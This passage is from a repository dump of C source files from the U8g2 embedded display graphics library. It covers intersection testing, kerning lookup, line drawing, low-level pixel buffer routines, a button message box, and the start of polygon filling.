U8G2_ALWAYS_INLINE __inline__ __attribute__((always_inline))\n#else\n#define U8G2_ALWAYS_INLINE\n#endif \n\n\n#if defined(U8G2_WITH_INTERSECTION) || defined(U8G2_WITH_CLIP_WINDOW_SUPPORT)\n\n#ifdef OLD_VERSION_WITH_SYMETRIC_BOUNDARIES\n\n/*\n  intersection assumptions:\n    a1 <= a2 is always true    \n    \n    minimized version\n    ---1----0 1             b1 <= a2 && b1 > b2\n    -----1--0 1             b2 >= a1 && b1 > b2\n    ---1-1--- 1             b1 <= a2 && b2 >= a1\n  */\n\n\n/*\n  calculate the intersection between a0/a1 and v0/v1\n  The intersection check returns one if the range of a0/a1 has an intersection with v0/v1.\n  The intersection check includes the boundary values v1 and a1.\n\n  The following asserts will succeed:\n    assert( u8g2_is_intersection_decision_tree(4, 6, 7, 9) == 0 );\n    assert( u8g2_is_intersection_decision_tree(4, 6, 6, 9) != 0 );\n    assert( u8g2_is_intersection_decision_tree(6, 9, 4, 6) != 0 );\n    assert( u8g2_is_intersection_decision_tree(7, 9, 4, 6) == 0 );  \n*/\n\n//static uint8_t U8G2_ALWAYS_INLINE u8g2_is_intersection_decision_tree(u8g_uint_t a0, u8g_uint_t a1, u8g_uint_t v0, u8g_uint_t v1) \nstatic uint8_t u8g2_is_intersection_decision_tree(u8g2_uint_t a0, u8g2_uint_t a1, u8g2_uint_t v0, u8g2_uint_t v1) \n{\n  if ( v0 <= a1 )\n  {\n    if ( v1 >= a0 )\n    {\n      return 1;\n    }\n    else\n    {\n      if ( v0 > v1 )\n      {\n\treturn 1;\n      }\n      else\n      {\n\treturn 0;\n      }\n    }\n  }\n  else\n  {\n    if ( v1 >= a0 )\n    {\n      if ( v0 > v1 )\n      {\n\treturn 1;\n      }\n      else\n      {\n\treturn 0;\n      }\n    }\n    else\n    {\n      return 0;\n    }\n  }\n}\n\n#endif\t/* OLD_VERSION_WITH_SYMETRIC_BOUNDARIES */\n\n\n/*\n  version with asymetric boundaries.\n  a1 and v1 are excluded\n  v0 == v1 is not support end return 1\n*/\nuint8_t u8g2_is_intersection_decision_tree(u8g2_uint_t a0, u8g2_uint_t a1, u8g2_uint_t v0, u8g2_uint_t v1)\n{\n  if ( v0 < a1 )\t\t// v0 <= a1\n  {\n    if ( v1 > a0 )\t// v1 >= a0\n    {\n      return 1;\n    }\n    else\n    {\n      if ( v0 > v1 )\t// v0 > v1\n      {\n\treturn 1;\n      }\n      else\n      {\n\treturn 0;\n      }\n    }\n  }\n  else\n  {\n    if ( v1 > a0 )\t// v1 >= a0\n    {\n      if ( v0 > v1 )\t// v0 > v1\n      {\n\treturn 1;\n      }\n      else\n      {\n\treturn 0;\n      }\n    }\n    else\n    {\n      return 0;\n    }\n  }\n}\n\n\n\n/* upper limits are not included (asymetric boundaries) */\nuint8_t u8g2_IsIntersection(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t x1, u8g2_uint_t y1)\n{\n  if ( u8g2_is_intersection_decision_tree(u8g2->user_y0, u8g2->user_y1, y0, y1) == 0 )\n    return 0; \n  \n  return u8g2_is_intersection_decision_tree(u8g2->user_x0, u8g2->user_x1, x0, x1);\n}\n\n\n#endif /* U8G2_WITH_INTERSECTION */\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_kerning.c",
    "content": "/*\n\n  u8g2_kerning.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n/* this function is used as \"u8g2_get_kerning_cb\" */\n/*\nuint8_t u8g2_GetNullKerning(u8g2_t *u8g2, uint16_t e1, uint16_t e2)\n{\n  return 0;\n}\n*/\n\n/* this function is used as \"u8g2_get_kerning_cb\" */\nuint8_t u8g2_GetKerning(U8X8_UNUSED u8g2_t *u8g2, u8g2_kerning_t *kerning, uint16_t e1, uint16_t e2)\n{\n  uint16_t i1, i2, cnt, end;\n  if ( kerning == NULL )\n    return 0;\n  \n  /* search for the encoding in the first table */\n  cnt = kerning->first_table_cnt;\n  cnt--;\t/* ignore the last element of the table, which is 0x0ffff */\n  for( i1 = 0; i1 < cnt; i1++ )\n  {\n    if ( kerning->first_encoding_table[i1] == e1 )\n      break;\n  }\n  if ( i1 >= cnt )\n    return 0;\t/* e1 not part of the kerning table, return 0 */\n\n  /* get the upper index for i2 */\n  end = kerning->index_to_second_table[i1+1];\n  for( i2 = kerning->index_to_second_table[i1]; i2 < end; i2++ )\n  {\n    if ( kerning->second_encoding_table[i2] == e2 )\n      break;\n  }\n  \n  if ( i2 >= end )\n    return 0;\t/* e2 not part of any pair with e1, return 0 */\n  \n  return kerning->kerning_values[i2];\n}\n\nuint8_t u8g2_GetKerningByTable(U8X8_UNUSED u8g2_t *u8g2, const uint16_t *kt, uint16_t e1, uint16_t e2)\n{\n  uint16_t i;\n  i = 0;\n  if ( kt == NULL )\n    return 0;\n  for(;;)\n  {\n    if ( kt[i] == 0x0ffff )\n      break;\n    if ( kt[i] == e1 && kt[i+1] == e2 )\n      return kt[i+2];\n    i+=3;\n  }\n  return 0;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_line.c",
    "content": "/*\n\n  u8g2_box.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n\nvoid u8g2_DrawLine(u8g2_t *u8g2, u8g2_uint_t x1, u8g2_uint_t y1, u8g2_uint_t x2, u8g2_uint_t y2)\n{\n  u8g2_uint_t tmp;\n  u8g2_uint_t x,y;\n  u8g2_uint_t dx, dy;\n  u8g2_int_t err;\n  u8g2_int_t ystep;\n\n  uint8_t swapxy = 0;\n  \n  /* no intersection check at the moment, should be added... */\n\n  if ( x1 > x2 ) dx = x1-x2; else dx = x2-x1;\n  if ( y1 > y2 ) dy = y1-y2; else dy = y2-y1;\n\n  if ( dy > dx ) \n  {\n    swapxy = 1;\n    tmp = dx; dx =dy; dy = tmp;\n    tmp = x1; x1 =y1; y1 = tmp;\n    tmp = x2; x2 =y2; y2 = tmp;\n  }\n  if ( x1 > x2 ) \n  {\n    tmp = x1; x1 =x2; x2 = tmp;\n    tmp = y1; y1 =y2; y2 = tmp;\n  }\n  err = dx >> 1;\n  if ( y2 > y1 ) ystep = 1; else ystep = -1;\n  y = y1;\n\n#ifndef  U8G2_16BIT\n  if ( x2 == 255 )\n    x2--;\n#else\n  if ( x2 == 0xffff )\n    x2--;\n#endif\n\n  for( x = x1; x <= x2; x++ )\n  {\n    if ( swapxy == 0 ) \n      u8g2_DrawPixel(u8g2, x, y); \n    else \n      u8g2_DrawPixel(u8g2, y, x); \n    err -= (u8g2_uint_t)dy;\n    if ( err < 0 ) \n    {\n      y += (u8g2_uint_t)ystep;\n      err += (u8g2_uint_t)dx;\n    }\n  }\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_ll_hvline.c",
    "content": "/*\n\n  u8g2_ll_hvline.c\n  \n  low level hvline\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  *ptr |= or_mask\n  *ptr ^= xor_mask\n  \n  color = 0:   or_mask = 1, xor_mask = 1\n  color = 1:   or_mask = 1, xor_mask = 0\n  color = 2:   or_mask = 0, xor_mask = 1\n\n  if ( color <= 1 )\n    or_mask  = mask;\n  if ( color != 1 )\n    xor_mask = mask;\n    \n*/\n\n#include \"u8g2.h\"\n#include <assert.h>\n\n/*=================================================*/\n/*\n  u8g2_ll_hvline_vertical_top_lsb\n    SSD13xx\n    UC1701    \n*/\n\n\n#ifdef U8G2_WITH_HVLINE_SPEED_OPTIMIZATION\n\n/*\n  x,y\t\tUpper left position of the line within the local buffer (not the display!)\n  len\t\tlength of the line in pixel, len must not be 0\n  dir\t\t0: horizontal line (left to right)\n\t\t1: vertical line (top to bottom)\n  asumption: \n    all clipping done\n*/\nvoid u8g2_ll_hvline_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  uint16_t offset;\n  uint8_t *ptr;\n  uint8_t bit_pos, mask;\n  uint8_t or_mask, xor_mask;\n#ifdef __unix\n  uint8_t *max_ptr = u8g2->tile_buf_ptr + u8g2_GetU8x8(u8g2)->display_info->tile_width*u8g2->tile_buf_height*8;\n#endif\n\n  //assert(x >= u8g2->buf_x0);\n  //assert(x < u8g2_GetU8x8(u8g2)->display_info->tile_width*8);\n  //assert(y >= u8g2->buf_y0);\n  //assert(y < u8g2_GetU8x8(u8g2)->display_info->tile_height*8);\n  \n  /* bytes are vertical, lsb on top (y=0), msb at bottom (y=7) */\n  bit_pos = y;\t\t/* overflow truncate is ok here... */\n  bit_pos &= 7; \t/* ... because only the lowest 3 bits are needed */\n  mask = 1;\n  mask <<= bit_pos;\n\n  or_mask = 0;\n  xor_mask = 0;\n  if ( u8g2->draw_color <= 1 )\n    or_mask  = mask;\n  if ( u8g2->draw_color != 1 )\n    xor_mask = mask;\n\n\n  offset = y;\t\t/* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */\n  offset &= ~7;\n  offset *= u8g2_GetU8x8(u8g2)->display_info->tile_width;\n  ptr = u8g2->tile_buf_ptr;\n  ptr += offset;\n  ptr += x;\n  \n  if ( dir == 0 )\n  {\n      do\n      {\n#ifdef __unix\n\tassert(ptr < max_ptr);\n#endif\n\t*ptr |= or_mask;\n\t*ptr ^= xor_mask;\n\tptr++;\n\tlen--;\n      } while( len != 0 );\n  }\n  else\n  {    \n    do\n    {\n#ifdef __unix\n      assert(ptr < max_ptr);\n#endif\n      *ptr |= or_mask;\n      *ptr ^= xor_mask;\n      \n      bit_pos++;\n      bit_pos &= 7;\n\n      len--;\n\n      if ( bit_pos == 0 )\n      {\n\tptr+=u8g2->pixel_buf_width;\t/* 6 Jan 17: Changed u8g2->width to u8g2->pixel_buf_width, issue #148 */\n\t\t\n\tif ( u8g2->draw_color <= 1 )\n\t  or_mask  = 1;\n\tif ( u8g2->draw_color != 1 )\n\t  xor_mask = 1;\n      }\n      else\n      {\n\tor_mask <<= 1;\n\txor_mask <<= 1;\n      }\n    } while( len != 0 );\n  }\n}\n\n\n\n#else /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */\n\n/*\n  x,y position within the buffer\n*/\nstatic void u8g2_draw_pixel_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y)\n{\n  uint16_t offset;\n  uint8_t *ptr;\n  uint8_t bit_pos, mask;\n  \n  //assert(x >= u8g2->buf_x0);\n  //assert(x < u8g2_GetU8x8(u8g2)->display_info->tile_width*8);\n  //assert(y >= u8g2->buf_y0);\n  //assert(y < u8g2_GetU8x8(u8g2)->display_info->tile_height*8);\n  \n  /* bytes are vertical, lsb on top (y=0), msb at bottom (y=7) */\n  bit_pos = y;\t\t/* overflow truncate is ok here... */\n  bit_pos &= 7; \t/* ... because only the lowest 3 bits are needed */\n  mask = 1;\n  mask <<= bit_pos;\n\n  offset = y;\t\t/* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */\n  offset &= ~7;\n  offset *= u8g2_GetU8x8(u8g2)->display_info->tile_width;\n  ptr = u8g2->tile_buf_ptr;\n  ptr += offset;\n  ptr += x;\n\n\n  if ( u8g2->draw_color <= 1 )\n    *ptr |= mask;\n  if ( u8g2->draw_color != 1 )\n    *ptr ^= mask;\n\n}\n\n/*\n  x,y\t\tUpper left position of the line within the local buffer (not the display!)\n  len\t\tlength of the line in pixel, len must not be 0\n  dir\t\t0: horizontal line (left to right)\n\t\t1: vertical line (top to bottom)\n  asumption: \n    all clipping done\n*/\nvoid u8g2_ll_hvline_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  if ( dir == 0 )\n  {\n    do\n    {\n      u8g2_draw_pixel_vertical_top_lsb(u8g2, x, y);\n      x++;\n      len--;\n    } while( len != 0 );\n  }\n  else\n  {\n    do\n    {\n      u8g2_draw_pixel_vertical_top_lsb(u8g2, x, y);\n      y++;\n      len--;\n    } while( len != 0 );\n  }\n}\n\n\n#endif /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */\n\n/*=================================================*/\n/*\n  u8g2_ll_hvline_horizontal_right_lsb\n    ST7920\n*/\n\n#ifdef U8G2_WITH_HVLINE_SPEED_OPTIMIZATION\n\n/*\n  x,y\t\tUpper left position of the line within the local buffer (not the display!)\n  len\t\tlength of the line in pixel, len must not be 0\n  dir\t\t0: horizontal line (left to right)\n\t\t1: vertical line (top to bottom)\n  asumption: \n    all clipping done\n*/\n\n/* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \nvoid u8g2_ll_hvline_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  uint16_t offset;\n  uint8_t *ptr;\n  uint8_t bit_pos;\n  uint8_t mask;\n  uint8_t tile_width = u8g2_GetU8x8(u8g2)->display_info->tile_width;\n\n  bit_pos = x;\t\t/* overflow truncate is ok here... */\n  bit_pos &= 7; \t/* ... because only the lowest 3 bits are needed */\n  mask = 128;\n  mask >>= bit_pos;\n\n  offset = y;\t\t/* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */\n  offset *= tile_width;\n  offset += x>>3;\n  ptr = u8g2->tile_buf_ptr;\n  ptr += offset;\n  \n  if ( dir == 0 )\n  {\n      \n    do\n    {\n\n      if ( u8g2->draw_color <= 1 )\n\t*ptr |= mask;\n      if ( u8g2->draw_color != 1 )\n\t*ptr ^= mask;\n      \n      mask >>= 1;\n      if ( mask == 0 )\n      {\n\tmask = 128;\n        ptr++;\n      }\n      \n      //x++;\n      len--;\n    } while( len != 0 );\n  }\n  else\n  {\n    do\n    {\n      if ( u8g2->draw_color <= 1 )\n\t*ptr |= mask;\n      if ( u8g2->draw_color != 1 )\n\t*ptr ^= mask;\n      \n      ptr += tile_width;\n      //y++;\n      len--;\n    } while( len != 0 );\n  }\n}\n\n#else /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */\n\n\n/*\n  x,y position within the buffer\n*/\n/* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \nstatic void u8g2_draw_pixel_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y)\n{\n  uint16_t offset;\n  uint8_t *ptr;\n  uint8_t bit_pos, mask;\n\n  //assert(x >= u8g2->buf_x0);\n  //assert(x < u8g2_GetU8x8(u8g2)->display_info->tile_width*8);\n  //assert(y >= u8g2->buf_y0);\n  //assert(y < u8g2_GetU8x8(u8g2)->display_info->tile_height*8);\n  \n  /* bytes are vertical, lsb on top (y=0), msb at bottom (y=7) */\n  bit_pos = x;\t\t/* overflow truncate is ok here... */\n  bit_pos &= 7; \t/* ... because only the lowest 3 bits are needed */\n  mask = 128;\n  mask >>= bit_pos;\n  x >>= 3;\n\n  offset = y;\t\t/* y might be 8 or 16 bit, but we need 16 bit, so use a 16 bit variable */\n  offset *= u8g2_GetU8x8(u8g2)->display_info->tile_width;\n  offset += x;\n  ptr = u8g2->tile_buf_ptr;\n  ptr += offset;\n  \n\n  if ( u8g2->draw_color <= 1 )\n    *ptr |= mask;\n  if ( u8g2->draw_color != 1 )\n    *ptr ^= mask;\n  \n}\n\n/*\n  x,y\t\tUpper left position of the line within the local buffer (not the display!)\n  len\t\tlength of the line in pixel, len must not be 0\n  dir\t\t0: horizontal line (left to right)\n\t\t1: vertical line (top to bottom)\n  asumption: \n    all clipping done\n*/\n/* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \nvoid u8g2_ll_hvline_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  if ( dir == 0 )\n  {\n    do\n    {\n      u8g2_draw_pixel_horizontal_right_lsb(u8g2, x, y);\n      x++;\n      len--;\n    } while( len != 0 );\n  }\n  else\n  {\n    do\n    {\n      u8g2_draw_pixel_horizontal_right_lsb(u8g2, x, y);\n      y++;\n      len--;\n    } while( len != 0 );\n  }\n}\n\n#endif /* U8G2_WITH_HVLINE_SPEED_OPTIMIZATION */\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_message.c",
    "content": "/*\n\n  u8g2_message.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8g2.h\"\n\n#define SPACE_BETWEEN_BUTTONS_IN_PIXEL 6\n#define SPACE_BETWEEN_TEXT_AND_BUTTONS_IN_PIXEL 3\n\nuint8_t u8g2_draw_button_line(u8g2_t *u8g2, u8g2_uint_t y, u8g2_uint_t w, uint8_t cursor, const char *s)\n{\n  u8g2_uint_t button_line_width;\n\t\n  uint8_t i;\n  uint8_t cnt;\n  uint8_t is_invert;\n\t\n  u8g2_uint_t d;\n  u8g2_uint_t x;\n\t\n  cnt = u8x8_GetStringLineCnt(s);\n  \n\t\n  /* calculate the width of the button line */\n  button_line_width = 0;\n  for( i = 0; i < cnt; i++ )\n  {\n    button_line_width += u8g2_GetUTF8Width(u8g2, u8x8_GetStringLineStart(i, s));\n  }\n  button_line_width += (cnt-1)*SPACE_BETWEEN_BUTTONS_IN_PIXEL;\t/* add some space between the buttons */\n  \n  /* calculate the left offset */\n  d = 0;\n  if ( button_line_width < w )\n  {\n    d = w;\n    d -= button_line_width;\n    d /= 2;\n  }\n  \n  /* draw the buttons */\n  x = d;\n  for( i = 0; i < cnt; i++ )\n  {\n    is_invert = 0;\n    if ( i == cursor )\n      is_invert = 1;\n\n    u8g2_DrawUTF8Line(u8g2, x, y, 0, u8x8_GetStringLineStart(i, s), 1, is_invert);\n    x += u8g2_GetUTF8Width(u8g2, u8x8_GetStringLineStart(i, s));\n    x += SPACE_BETWEEN_BUTTONS_IN_PIXEL;\n  }\n  \n  /* return the number of buttons */\n  return cnt;\n}\n\n/*\n  title1:\tMultiple lines,separated by '\\n'\n  title2:\tA single line/string which is terminated by '\\0' or '\\n' . \"title2\" accepts the return value from u8x8_GetStringLineStart()\n  title3:\tMultiple lines,separated by '\\n'\n  buttons:\tone more more buttons separated by '\\n' and terminated with '\\0'\n  side effects:\n    u8g2_SetFontDirection(u8g2, 0);\n    u8g2_SetFontPosBaseline(u8g2);\n*/\n\nuint8_t u8g2_UserInterfaceMessage(u8g2_t *u8g2, const char *title1, const char *title2, const char *title3, const char *buttons)\n{\n  uint8_t height;\n  uint8_t line_height;\n  u8g2_uint_t pixel_height;\n  u8g2_uint_t y, yy;\n\t\n  uint8_t cursor = 0;\n  uint8_t button_cnt;\n  uint8_t event;\n\t\n  /* only horizontal strings are supported, so force this here */\n  u8g2_SetFontDirection(u8g2, 0);\n\n  /* force baseline position */\n  u8g2_SetFontPosBaseline(u8g2);\n\t\n\t\n  /* calculate line height */\n  line_height = u8g2_GetAscent(u8g2);\n  line_height -= u8g2_GetDescent(u8g2);\n\n  /* calculate overall height of the message box in lines*/\n  height = 1;\t/* button line */\n  height += u8x8_GetStringLineCnt(title1);\n  if ( title2 != NULL )\n    height++;\n  height += u8x8_GetStringLineCnt(title3);\n  \n  /* calculate the height in pixel */\n  pixel_height = height;\n  pixel_height *= line_height;\n  \n  /* ... and add the space between the text and the buttons */\n  pixel_height +=SPACE_BETWEEN_TEXT_AND_BUTTONS_IN_PIXEL;\n  \n  /* calculate offset from top */\n  y = 0;\n  if ( pixel_height < u8g2_GetDisplayHeight(u8g2)   )\n  {\n    y = u8g2_GetDisplayHeight(u8g2);\n    y -= pixel_height;\n    y /= 2;\n  }\n  y += u8g2_GetAscent(u8g2);\n\n  \n  for(;;)\n  {\n      u8g2_FirstPage(u8g2);\n      do\n      {\n\t  yy = y;\n\t  /* draw message box */\n\t  \n\t  yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title1);\n\t  if ( title2 != NULL )\n\t  {\n\t    u8g2_DrawUTF8Line(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), title2, 0, 0);\n\t    yy+=line_height;\n\t  }\n\t  yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title3);\n\t  yy += SPACE_BETWEEN_TEXT_AND_BUTTONS_IN_PIXEL;\n\n\t  button_cnt = u8g2_draw_button_line(u8g2, yy, u8g2_GetDisplayWidth(u8g2), cursor, buttons);\n\t  \n      } while( u8g2_NextPage(u8g2) );\n\n#ifdef U8G2_REF_MAN_PIC\n      return 0;\n#endif\n\t  \n      for(;;)\n      {\n\t    event = u8x8_GetMenuEvent(u8g2_GetU8x8(u8g2));\n\t    if ( event == U8X8_MSG_GPIO_MENU_SELECT )\n\t      return cursor+1;\n\t    else if ( event == U8X8_MSG_GPIO_MENU_HOME )\n\t      return 0;\n\t    else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_DOWN )\n\t    {\n\t      cursor++;\n\t      if ( cursor >= button_cnt )\n\t\tcursor = 0;\n\t      break;\n\t    }\n\t    else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_UP )\n\t    {\n\t      if ( cursor == 0 )\n\t\tcursor = button_cnt;\n\t      cursor--;\n\t      break;\n\t    }    \n      }\n  }\n  /* never reached */\n  //return 0;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_polygon.c",
    "content": "/*\n\n  u8g22_polygon.c\n\n*/\t\n\n\n#include \"u8g2.h\"\n\n\n\n\n/*===========================================*/\n/* local definitions */\n\ntypedef int16_t pg_word_t;\n\n\nstruct pg_point_struct\n{\n  pg_word_t x;\n  pg_word_t y;\n};\n\ntypedef struct _pg_struct pg_struct;\t/* forward declaration */\n\nstruct pg_edge_struct\n{\n  pg_word_t x_direction;\t/* 1, if x2 is greater than x1, -1 otherwise */\n  pg_word_t height;\n  pg_word_t current_x_offset;\n  pg_word_t error_offset;\n  \n  /* --- line loop --- */\n  pg_word_t current_y;\n  pg_word_t max_y;\n  pg_word_t current_x;\n  pg_word_t error;\n\n  /* --- outer loop --- */\n  uint8_t (*next_idx_fn)(pg_struct *pg, uint8_t i);\n  uint8_t curr_idx;\n};\n\n/* maximum number of points in the polygon */\n/* can be redefined, but highest possible value is 254 */\n#define PG_MAX_POINTS 6\n\n/* index numbers for the pge structures below */\n#define PG_LEFT 0\n#define PG_RIGHT 1\n\n\nstruct _pg_struct\n{\n  struct pg_point_struct list[PG_MAX_POINTS];\n  uint8_t cnt;\n  uint8_t is_min_y_not_flat;\n  pg_word_t total_scan_line_cnt;\n  struct pg_edge_struct pge[2];\t/* left and right line draw structures */\n};\n\n\n/*===========================================*/\n/* procedures, which should not be inlined (save as much flash ROM as possible */\n\n#define PG_NOINLINE U8G2_NOINLINE\n\nstatic uint8_t pge_Next(struct pg_edge_struct *pge) PG_NOINLINE;\nstatic uint8_t pg_inc(pg_struct *pg, uint8_t i) PG_NOINLINE;\nstatic uint8_t pg_dec(pg_struct *pg, uint8_t i) PG_NOINLINE;\nstatic void pg_expand_min_y(pg_struct *pg, pg_word_t min_y, uint8_t pge_idx) PG_NOINLINE;\nstatic void pg_line_init(pg_struct * const pg, uint8_t pge_index) PG_NOINLINE;\n\n/*===========================================*/\n/* line draw algorithm */\n\nstatic uint8_t pge_Next(struct pg_edge_struct *pge)\n{\n  if ( pge->current_y >= pge->max_y )\n    return 0;\n  \n  pge->current_x += 